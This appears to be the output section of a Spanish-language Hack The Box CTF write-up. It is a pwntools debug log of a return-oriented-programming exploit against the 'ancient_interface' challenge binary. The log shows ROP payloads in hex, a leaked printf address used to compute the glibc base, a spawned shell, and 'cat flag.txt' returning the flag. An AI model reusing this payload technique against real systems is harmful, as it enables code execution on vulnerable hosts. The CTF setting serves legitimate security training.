Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 46.101.10.90 on port 30565: Done
[*] Loaded 17 cached gadgets for 'challenge/ancient_interface'
[DEBUG] Received 0xb bytes:
b'user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[DEBUG] Received 0xb bytes:
b'user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
...
[DEBUG] Received 0xb bytes:
b'user@host$ '
[DEBUG] Sent 0x9 bytes:
b'read 8 q\n'
[DEBUG] Sent 0x39 bytes:
00000000 41 41 41 41 41 41 41 41 43 1d 40 00 00 00 00 00 │AAAA│AAAA│C·@·│····│
00000010 48 40 40 00 00 00 00 00 74 11 40 00 00 00 00 00 │H@@·│····│t·@·│····│
00000020 90 12 40 00 00 00 00 00 41 41 41 41 41 41 41 41 │··@·│····│AAAA│AAAA│
00000030 41 41 41 41 41 41 41 41 0a │AAAA│AAAA│·│
00000039
[DEBUG] Received 0x3f0 bytes:
00000000 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000010 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000020 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000030 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000040 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
00000050 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000060 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000070 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000080 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000090 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000000a0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
000000b0 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
000000c0 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
000000d0 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
000000e0 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
000000f0 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000100 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000110 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000120 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000130 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000140 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
00000150 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000160 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000170 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000180 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000190 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000001a0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
000001b0 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
000001c0 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
000001d0 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
000001e0 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000001f0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000200 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000210 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000220 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000230 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000240 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000250 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000260 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000270 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000280 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000290 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000002a0 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
000002b0 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
000002c0 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
000002d0 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
000002e0 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000002f0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000300 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000310 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000320 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000330 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
00000340 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000350 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000360 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000370 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000380 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000390 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
000003a0 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
000003b0 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
000003c0 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
000003d0 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
000003e0 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000003f0
[DEBUG] Received 0x7 bytes:
00000000 90 ac 61 fc 23 7f 0a │··a·│#··│
00000007
[*] Leaked printf() address: 0x7f23fc61ac90
[+] Glibc base address: 0x7f23fc5b9000
[DEBUG] Received 0x16 bytes:
b'user@host$ user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
...
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[DEBUG] Received 0x16 bytes:
b'user@host$ user@host$ '
[DEBUG] Sent 0x9 bytes:
b'read 8 q\n'
[DEBUG] Sent 0x39 bytes:
00000000 41 41 41 41 41 41 41 41 43 1d 40 00 00 00 00 00 │AAAA│AAAA│C·@·│····│
00000010 bd d5 76 fc 23 7f 00 00 1a 10 40 00 00 00 00 00 │··v·│#···│··@·│····│
00000020 90 b2 60 fc 23 7f 00 00 41 41 41 41 41 41 41 41 │··`·│#···│AAAA│AAAA│
00000030 41 41 41 41 41 41 41 41 0a │AAAA│AAAA│·│
00000039
[*] Switching to interactive mode
[DEBUG] Received 0x3fb bytes:
00000000 75 73 65 72 40 68 6f 73 74 24 20 41 6c 61 72 6d │user│@hos│t$ A│larm│
00000010 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
00000020 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000030 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000040 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000050 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000060 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
00000070 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000080 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000090 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
000000a0 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
000000b0 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000000c0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
000000d0 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
000000e0 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
000000f0 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000100 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000110 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000120 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000130 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000140 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000150 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000160 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
00000170 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000180 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000190 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
000001a0 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
000001b0 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000001c0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
000001d0 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
000001e0 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
000001f0 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000200 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
00000210 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000220 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000230 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000240 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000250 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000260 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000270 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000280 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000290 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
000002a0 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
000002b0 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000002c0 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
000002d0 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
000002e0 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
000002f0 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000300 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
00000310 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000320 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000330 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000340 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000350 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
00000360 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000370 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000380 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000390 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
000003a0 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
000003b0 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
000003c0 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
000003d0 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
000003e0 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
000003f0 62 65 65 6e 20 68 69 74 21 0a 00 │been│ hit│!··│
000003fb
user@host$ Alarm has been hit!
\x00larm has been hit!
\x00larm has been hit!
...
\x00larm has been hit!
\x00larm has been hit!
\x00$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x2f bytes:
b'ancient_interface\n'
b'ancient_interface.c\n'
b'flag.txt\n'
ancient_interface
ancient_interface.c
flag.txt
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x2d bytes:
b'HTB{sh0u1d_h4v3-CH3ck3d_r34D-R3tUrn_v4l_:^)}\n'
HTB{sh0u1d_h4v3-CH3ck3d_r34D-R3tUrn_v4l_:^)}
El exploit completo se puede encontrar aquí: solve.py
.